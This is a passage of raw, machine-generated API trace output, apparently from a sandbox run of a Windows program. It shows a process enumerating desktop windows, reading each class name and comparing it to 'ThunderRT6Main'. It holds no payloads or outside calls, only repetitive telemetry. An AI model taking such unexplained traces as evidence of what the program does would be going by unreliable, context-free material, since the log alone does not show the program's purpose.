lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.380] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.380] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0119.380] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0119.380] GetClassNameA (in: hWnd=0x10190, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Bernard_award_window") returned 20 [0119.380] lstrcmpA (lpString1="Bernard_award_window", lpString2="ThunderRT6Main") returned -1 [0119.380] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0119.380] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0119.380] GetClassNameA (in: hWnd=0x10192, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.380] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.380] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc0 [0119.380] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0119.380] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="bluescls") returned 8 [0119.380] lstrcmpA (lpString1="bluescls", lpString2="ThunderRT6Main") returned -1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0119.381] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0119.381] GetClassNameA (in: hWnd=0x2018e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.381] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x2018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x2c4 [0119.381] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0119.381] GetClassNameA (in: hWnd=0x10186, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="promotingweightedcls") returned 20 [0119.381] lstrcmpA (lpString1="promotingweightedcls", lpString2="ThunderRT6Main") returned -1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0119.381] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0119.381] GetClassNameA (in: hWnd=0x10188, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.381] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x564 [0119.381] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0119.381] GetClassNameA (in: hWnd=0x10180, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WordsRetainedremovalapp") returned 23 [0119.381] lstrcmpA (lpString1="WordsRetainedremovalapp", lpString2="ThunderRT6Main") returned 1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0119.381] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0119.381] GetClassNameA (in: hWnd=0x10184, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.381] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x520 [0119.381] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0119.381] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="famemoderatorwindow") returned 19 [0119.381] lstrcmpA (lpString1="famemoderatorwindow", lpString2="ThunderRT6Main") returned -1 [0119.381] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0119.382] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0119.382] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.382] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.382] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f8 [0119.382] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0119.382] GetClassNameA (in: hWnd=0x10178, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Gpluckywindow") returned 13 [0119.382] lstrcmpA (lpString1="Gpluckywindow", lpString2="ThunderRT6Main") returned -1 [0119.382] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0119.382] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0119.382] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.382] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.382] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x528 [0119.382] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0119.382] GetClassNameA (in: hWnd=0x10174, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="mediterraneanTallwin") returned 20 [0119.382] lstrcmpA (lpString1="mediterraneanTallwin", lpString2="ThunderRT6Main") returned -1 [0119.382] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0119.382] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0119.382] GetClassNameA (in: hWnd=0x10176, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.382] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.382] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xc4 [0119.382] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0119.382] GetClassNameA (in: hWnd=0x20170, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Essays_Attorneys_wnd") returned 20 [0119.382] lstrcmpA (lpString1="Essays_Attorneys_wnd", lpString2="ThunderRT6Main") returned -1 [0119.382] GetWindowThreadProcessId (in: hWnd=0x20170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0119.382] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0119.382] GetClassNameA (in: hWnd=0x10172, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x414 [0119.383] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0119.383] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Adequate_Downloading_window") returned 27 [0119.383] lstrcmpA (lpString1="Adequate_Downloading_window", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0119.383] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0119.383] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0119.383] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0119.383] GetClassNameA (in: hWnd=0x10168, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cruises_Construct_win") returned 21 [0119.383] lstrcmpA (lpString1="Cruises_Construct_win", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0119.383] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0119.383] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a8 [0119.383] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0119.383] GetClassNameA (in: hWnd=0x10164, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Causing_Fighting_platinum_") returned 26 [0119.383] lstrcmpA (lpString1="Causing_Fighting_platinum_", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0119.383] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0119.383] GetClassNameA (in: hWnd=0x10166, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.383] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x188 [0119.384] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0119.384] GetClassNameA (in: hWnd=0x10160, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ConflictBindingunit") returned 19 [0119.384] lstrcmpA (lpString1="ConflictBindingunit", lpString2="ThunderRT6Main") returned -1 [0119.384] GetWindowThreadProcessId (in: hWnd=0x10160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0119.384] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0119.384] GetClassNameA (in: hWnd=0x10162, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.384] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.384] GetWindowThreadProcessId (in: hWnd=0x10162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7e4 [0119.384] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0119.384] GetClassNameA (in: hWnd=0x300fa, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Packrxapp") returned 9 [0119.384] lstrcmpA (lpString1="Packrxapp", lpString2="ThunderRT6Main") returned -1 [0119.384] GetWindowThreadProcessId (in: hWnd=0x300fa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0119.384] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0119.384] GetClassNameA (in: hWnd=0x1015e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.384] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.384] GetWindowThreadProcessId (in: hWnd=0x1015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x574 [0119.384] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0119.384] GetClassNameA (in: hWnd=0x50102, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Cells_Surfaces_window") returned 21 [0119.384] lstrcmpA (lpString1="Cells_Surfaces_window", lpString2="ThunderRT6Main") returned -1 [0119.384] GetWindowThreadProcessId (in: hWnd=0x50102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0119.384] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0119.384] GetClassNameA (in: hWnd=0x30108, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.384] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.384] GetWindowThreadProcessId (in: hWnd=0x30108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x770 [0119.384] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0119.384] GetClassNameA (in: hWnd=0x3015a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0119.385] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x3015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0119.385] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0119.385] GetClassNameA (in: hWnd=0x10146, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0119.385] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x10146, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0119.385] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0119.385] GetClassNameA (in: hWnd=0x10144, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0119.385] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x10144, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0119.385] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0119.385] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0119.385] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x2013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0119.385] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0119.385] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0119.385] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0119.385] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0119.385] GetClassNameA (in: hWnd=0x10130, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.385] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x46c [0119.385] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0119.385] GetClassNameA (in: hWnd=0x10124, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBEA41F0") returned 20 [0119.385] lstrcmpA (lpString1="ATL:000007FEFBEA41F0", lpString2="ThunderRT6Main") returned -1 [0119.385] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0119.386] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0119.386] GetClassNameA (in: hWnd=0x10126, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.386] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.386] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0119.386] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0119.386] GetClassNameA (in: hWnd=0x10118, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0119.386] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0119.386] GetWindowThreadProcessId (in: hWnd=0x10118, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0119.386] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0119.386] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.386] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.386] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0119.386] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0119.386] GetClassNameA (in: hWnd=0x10116, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.386] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.386] GetWindowThreadProcessId (in: hWnd=0x10116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x468 [0119.386] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0119.386] GetClassNameA (in: hWnd=0x20018, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0119.386] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0119.386] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0119.386] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0119.386] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.386] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.386] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0119.386] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0119.386] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0119.387] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0119.387] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0119.387] GetClassNameA (in: hWnd=0x20016, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.387] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x76c [0119.387] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0119.387] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0119.387] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0119.387] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0119.387] GetClassNameA (in: hWnd=0x1010a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.387] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x1010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x584 [0119.387] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0119.387] GetClassNameA (in: hWnd=0x10106, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.387] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x570 [0119.387] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0119.387] GetClassNameA (in: hWnd=0x10104, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0119.387] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0119.387] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0119.387] GetClassNameA (in: hWnd=0x10100, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.387] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.387] GetWindowThreadProcessId (in: hWnd=0x10100, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0119.388] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0119.388] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.388] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.388] GetWindowThreadProcessId (in: hWnd=0x100fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x53c [0119.388] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0119.388] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0119.388] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0119.388] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.388] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0119.388] GetClassNameA (in: hWnd=0x10084, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.388] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.388] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0119.388] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0119.388] GetClassNameA (in: hWnd=0x10082, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0119.388] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0119.388] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.388] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0119.388] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0119.388] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0119.388] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.388] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0119.388] GetClassNameA (in: hWnd=0x10068, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0119.388] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0119.388] GetWindowThreadProcessId (in: hWnd=0x10068, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.388] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0119.389] GetClassNameA (in: hWnd=0x20020, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0119.389] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0119.389] GetWindowThreadProcessId (in: hWnd=0x20020, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0119.389] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0119.389] GetClassNameA (in: hWnd=0x20024, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.389] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.389] GetWindowThreadProcessId (in: hWnd=0x20024, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7ec [0119.389] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0119.389] GetClassNameA (in: hWnd=0x10064, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0119.389] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0119.389] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.389] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0119.389] GetClassNameA (in: hWnd=0x10052, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0119.389] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0119.389] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0119.389] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0119.389] GetClassNameA (in: hWnd=0x10054, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.389] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.389] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4d8 [0119.389] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0119.389] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0119.389] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0119.389] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0119.389] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0119.389] GetClassNameA (in: hWnd=0x10044, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0119.390] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0119.390] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0119.390] GetClassNameA (in: hWnd=0x20040, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0119.390] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x20040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0119.390] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0119.390] GetClassNameA (in: hWnd=0x10042, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0119.390] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0119.390] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0119.390] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x44c [0119.390] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0119.390] GetClassNameA (in: hWnd=0x2001e, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0119.390] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x2001e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7d4 [0119.390] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0119.390] GetClassNameA (in: hWnd=0x20022, lpClassName=0x18ddc0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0119.390] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0119.390] GetWindowThreadProcessId (in: hWnd=0x20022, lpdwProcessId=0x0 